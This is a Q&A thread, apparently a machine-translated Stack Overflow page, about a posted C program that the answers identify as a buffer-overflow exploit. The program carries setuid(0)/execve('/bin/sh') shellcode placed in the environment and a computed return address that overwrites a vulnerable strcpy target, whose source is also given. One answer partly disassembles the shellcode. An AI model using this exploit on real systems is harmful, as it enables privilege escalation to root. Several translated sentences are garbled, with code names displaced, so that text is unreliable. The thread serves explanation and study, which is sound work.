1
#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; 

int main(void){
    char buf[bufsize] ;
    char *proc[]={"./bss2",buf,NULL};
    char *envir[]={"Bytes=2Lu",shellcode,NULL};
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
    memset(buf,0x42,sizeof(buf));
    memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
    execve(proc[0],proc,envir);
    return 0;
}

それらは何ですか?それはプログラムにどのようmemcpyに影響していますか?memsetexecveproc

bss2 の更新コード

#define LEN 256
void output(char *);
int main(int argc, char **argv) {
    static char buffer[LEN];
    static void (*func) (char *);
    func = output;
    strcpy(buffer, argv[1]);
    func(buffer);
    return EXIT_SUCCESS;
}
void output(char *string) {
    fprintf(stdout, "%s", string);
}

アップデート

問題は、環境変数がどこにあるかに帰結するようです。

4

6 に答える 6

3

このコードは、引数文字列と環境 (環境変数が存在する場所など) を構築しています。引数には"./bss2"in argv[0]、および 256B文字の文字列とそれに続くリターン アドレス in が含まれargv[1]ます。環境には、最初の場所にダミー変数が含まれ、2 番目の場所にシェルコードが含まれています。

おそらく、ターゲットアプリケーションbss2には変数が含まれており、境界チェックなしchar x[256];でコピーされます。argv[1]これにより、関数のリターン アドレスが で計算されたリターン アドレスによって上書きされます。このリターン アドレスret_addrは、環境ブロックを指していることが期待されます。

于 2011-04-15T06:57:55.637 に答える
0

投稿されたコードでは定義されていない項目がいくつかあるようです。シェルコードはマクロか何かとして定義されていますか? 値 bufsize も不明です。

memset 呼び出しは、バッファ buf を 8 進値 0x42 で初期化するようです。

memcpy 呼び出しは、buf の最後にアドレスを挿入しているようです。

前述のように、このバッファ (buf) は最終的に引数として bss2 プロセスに渡されます。

于 2011-04-15T06:46:04.687 に答える
0

buf 引数は null で終了していないため、私には奇妙に思えます。

memset と memcpy は、最初のプログラム引数でいくつかのハックを行い、次に execve がそれを起動します。申し訳ありませんが、これ以上は言えません...

于 2011-04-15T06:38:35.667 に答える
0

bufsizeshellcodeが定義されていないため、コンパイルに失敗しています。

さらに深刻なことに、シェル コマンドでバッファ オーバーランなどを悪用しようとしているようbss2です。

于 2011-04-15T06:40:59.787 に答える
0

私は専門家ではありませんが、エクスプロイトを実行しようとしているようです。

インジケーターには、/をshellcode使用して別の実行可能ファイルへの引数を操作し、何らかの値を計算する識別子が含まれます。memsetmemcpyret_addr

于 2011-04-15T06:41:54.673 に答える
0

自分自身の練習として、シェルコードを手作業で逆アセンブルし始めました。私は限りました:

XOR ebx, ebx  #clear ebx
PUSH ebx     #push ebx onto the stack
LEA eax, [ebx+23]  #load 23 into eax
INT 0x80      #do a system call

その後飽きてきたのですが、INT 0x80の呼び出しに対するLinuxのシステムコール23がsys_setuidなので、UIDを0にするか、root化するコードのようです。シェルコードなので当然です。:-)

于 2011-04-15T07:51:11.073 に答える